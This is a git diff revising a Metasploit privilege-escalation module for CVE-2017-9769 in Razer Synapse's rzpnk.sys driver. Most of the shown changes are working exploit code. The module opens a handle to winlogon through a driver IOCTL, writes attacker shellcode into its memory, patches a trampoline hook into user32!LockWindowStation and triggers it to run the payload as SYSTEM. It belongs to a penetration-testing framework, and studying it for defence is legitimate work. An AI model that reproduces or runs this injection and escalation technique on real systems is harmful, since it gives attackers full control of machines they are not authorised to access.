@@ -13,26 +13,29 @@ class MetasploitModule < Msf::Exploit::Remote
13
13
include Msf ::Exploit ::Local ::WindowsKernel
14
14
include Msf ::Post ::Windows ::Priv
15
15
16
+ # the max size our hook can be, used before it's generated for the allocation
17
+ HOOK_STUB_MAX_LENGTH = 256
18
+
16
19
def initialize ( info = { } )
17
20
super ( update_info ( info ,
18
- 'Name' => 'Razer Synapse rzpnk.sys IOCTL ' ,
21
+ 'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess ' ,
19
22
'Description' => %q{
20
23
A vulnerability exists in the latest version of Razer Synapse
21
- (v2.20.17.302) which can be leveraged locally by a malicious application
22
- to elevate its privileges to those of NT_AUTHORITY\SYSTEM. The
23
- vulnerability lies in a specific IOCTL handler in the rzpnk.sys driver
24
- that passes a PID specified by the user to ZwOpenProcess. This can be
25
- issued by an application to open a handle to an arbitrary process with
26
- the necessary privileges to allocate, read and write memory in the
27
- specified process.
24
+ (v2.20.15.1104 as of the day of disclosure) which can be leveraged
25
+ locally by a malicious application to elevate its privileges to those of
26
+ NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
27
+ in the rzpnk.sys driver that passes a PID specified by the user to
28
+ ZwOpenProcess. This can be issued by an application to open a handle to
29
+ an arbitrary process with the necessary privileges to allocate, read and
30
+ write memory in the specified process.
28
31
29
32
This exploit leverages this vulnerability to open a handle to the
30
33
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
31
- installing hooks to execute attacker controlled shellcode. These hooks
32
- are then triggered on demand by calling user32!LockWorkStation(),
33
- resulting in the attacker's payload being executed with the privileges
34
- of the infected winlogon process. In order for the issued IOCTL to work,
35
- the RazerIngameEngine.exe process must not be running. This exploit will
34
+ installing a hook to execute attacker controlled shellcode. This hook is
35
+ then triggered on demand by calling user32!LockWorkStation(), resulting
36
+ in the attacker's payload being executed with the privileges of the
37
+ infected winlogon process. In order for the issued IOCTL to work, the
38
+ RazerIngameEngine.exe process must not be running. This exploit will
36
39
check if it is, and attempt to kill it as necessary.
37
40
38
41
The vulnerable software can be found here:
@@ -45,20 +48,21 @@ def initialize(info = {})
45
48
'Author' => 'Spencer McIntyre' ,
46
49
'License' => MSF_LICENSE ,
47
50
'References' => [
48
- [ 'CVE' , 'CVE- 2017-9769' ] ,
49
- # ['URL', ''],
51
+ [ 'CVE' , '2017-9769' ] ,
52
+ [ 'URL' , 'https://warroom.securestate.com/cve-2017-9769/' ]
50
53
] ,
51
54
'Platform' => 'win' ,
52
55
'Targets' =>
53
56
[
54
57
# Tested on (64 bits):
55
58
# * Windows 7 SP1
56
- # * Windows 10.0.14385
59
+ # * Windows 10.0.10586
57
60
[ 'Windows x64' , { 'Arch' => ARCH_X64 } ]
58
61
] ,
59
62
'DefaultOptions' =>
60
63
{
61
- 'EXITFUNC' => 'thread'
64
+ 'EXITFUNC' => 'thread' ,
65
+ 'WfsDelay' => 20
62
66
} ,
63
67
'DefaultTarget' => 0 ,
64
68
'Privileged' => true ,
@@ -103,42 +107,47 @@ def exploit
103
107
end
104
108
105
109
pid = session . sys . process [ 'winlogon.exe' ]
106
- print_status ( "Found winlogon.exe pid: #{ pid } " )
110
+ print_status ( "Found winlogon pid: #{ pid } " )
107
111
108
112
handle = get_handle ( pid )
109
113
fail_with ( Failure ::NotVulnerable , 'Failed to open the process handle' ) if handle . nil?
114
+ vprint_status ( 'Successfully opened a handle to the winlogon process' )
110
115
111
116
winlogon = session . sys . process . new ( pid , handle )
112
- shellcode_address = winlogon . memory . allocate ( 4096 )
117
+ allocation_size = payload . encoded . length + HOOK_STUB_MAX_LENGTH
118
+ shellcode_address = winlogon . memory . allocate ( allocation_size )
113
119
winlogon . memory . protect ( shellcode_address )
114
- print_good ( "Allocated 4096 bytes in winlogon.exe at 0x#{ shellcode_address . to_s ( 16 ) } " )
120
+ print_good ( "Allocated #{ allocation_size } bytes in winlogon at 0x#{ shellcode_address . to_s ( 16 ) } " )
115
121
winlogon . memory . write ( shellcode_address , payload . encoded )
116
122
hook_stub_address = shellcode_address + payload . encoded . length
117
123
118
- result = session . railgun . kernel32 . LoadLibraryA ( 'winsta ' )
119
- fail_with ( Failure ::Unknown , 'Failed to get a handle to winsta .dll' ) if result [ 'return' ] == 0
120
- winsta_handle = result [ 'return' ]
124
+ result = session . railgun . kernel32 . LoadLibraryA ( 'user32 ' )
125
+ fail_with ( Failure ::Unknown , 'Failed to get a handle to user32 .dll' ) if result [ 'return' ] == 0
126
+ user32_handle = result [ 'return' ]
121
127
122
128
# resolve and backup the functions that we'll install trampolines in
123
- winsta_trampolines = { } # address => original chunk
124
- winsta_functions = [ '_WinStationWaitForConnect' , 'WinStationIsSessionRemoteable ']
125
- winsta_functions . each do |function |
126
- address = get_address ( winsta_handle , function )
129
+ user32_trampolines = { } # address => original chunk
130
+ user32_functions = [ 'LockWindowStation ' ]
131
+ user32_functions . each do |function |
132
+ address = get_address ( user32_handle , function )
127
133
winlogon . memory . protect ( address )
128
- winsta_trampolines [ function ] = {
134
+ user32_trampolines [ function ] = {
129
135
address : address ,
130
136
original : winlogon . memory . read ( address , 24 )
131
137
}
132
138
end
133
139
134
140
# generate and install the hook asm
135
- hook_stub = get_hook ( shellcode_address , winsta_trampolines )
141
+ hook_stub = get_hook ( shellcode_address , user32_trampolines )
136
142
fail_with ( Failure ::Unknown , 'Failed to generate the hook stub' ) if hook_stub . nil?
143
+ # if this happens, there was a programming error
144
+ fail_with ( Failure ::Unknown , 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH' ) if hook_stub . length > HOOK_STUB_MAX_LENGTH
145
+
137
146
winlogon . memory . write ( hook_stub_address , hook_stub )
138
- vprint_status ( "Wrote the #{ hook_stub . length } byte hook stub in winlogon.exe at 0x#{ hook_stub_address } " )
147
+ vprint_status ( "Wrote the #{ hook_stub . length } byte hook stub in winlogon at 0x#{ hook_stub_address . to_s ( 16 ) } " )
139
148
140
149
# install the asm trampolines to jump to the hook
141
- winsta_trampolines . each do |function , trampoline_info |
150
+ user32_trampolines . each do |function , trampoline_info |
142
151
address = trampoline_info [ :address ]
143
152
trampoline = Metasm ::Shellcode . assemble ( Metasm ::X86_64 . new , %{
144
153
mov rax, 0x#{ address . to_s ( 16 ) }
@@ -147,7 +156,7 @@ def exploit
147
156
jmp rax
148
157
} ) . encode_string
149
158
winlogon . memory . write ( address , trampoline )
150
- vprint_status ( "Installed winsta !#{ address } trampoline at 0x#{ address . to_s ( 16 ) } " )
159
+ vprint_status ( "Installed user32 !#{ function } trampoline at 0x#{ address . to_s ( 16 ) } " )
151
160
end
152
161
153
162
session . railgun . user32 . LockWorkStation ( )
@@ -241,7 +250,6 @@ def get_hook(shellcode_address, restore)
241
250
pop r9
242
251
ret
243
252
}
244
- print_line ( stub )
245
253
Metasm ::Shellcode . assemble ( Metasm ::X86_64 . new , stub ) . encode_string
246
254
end
247
255
end
0 commit comments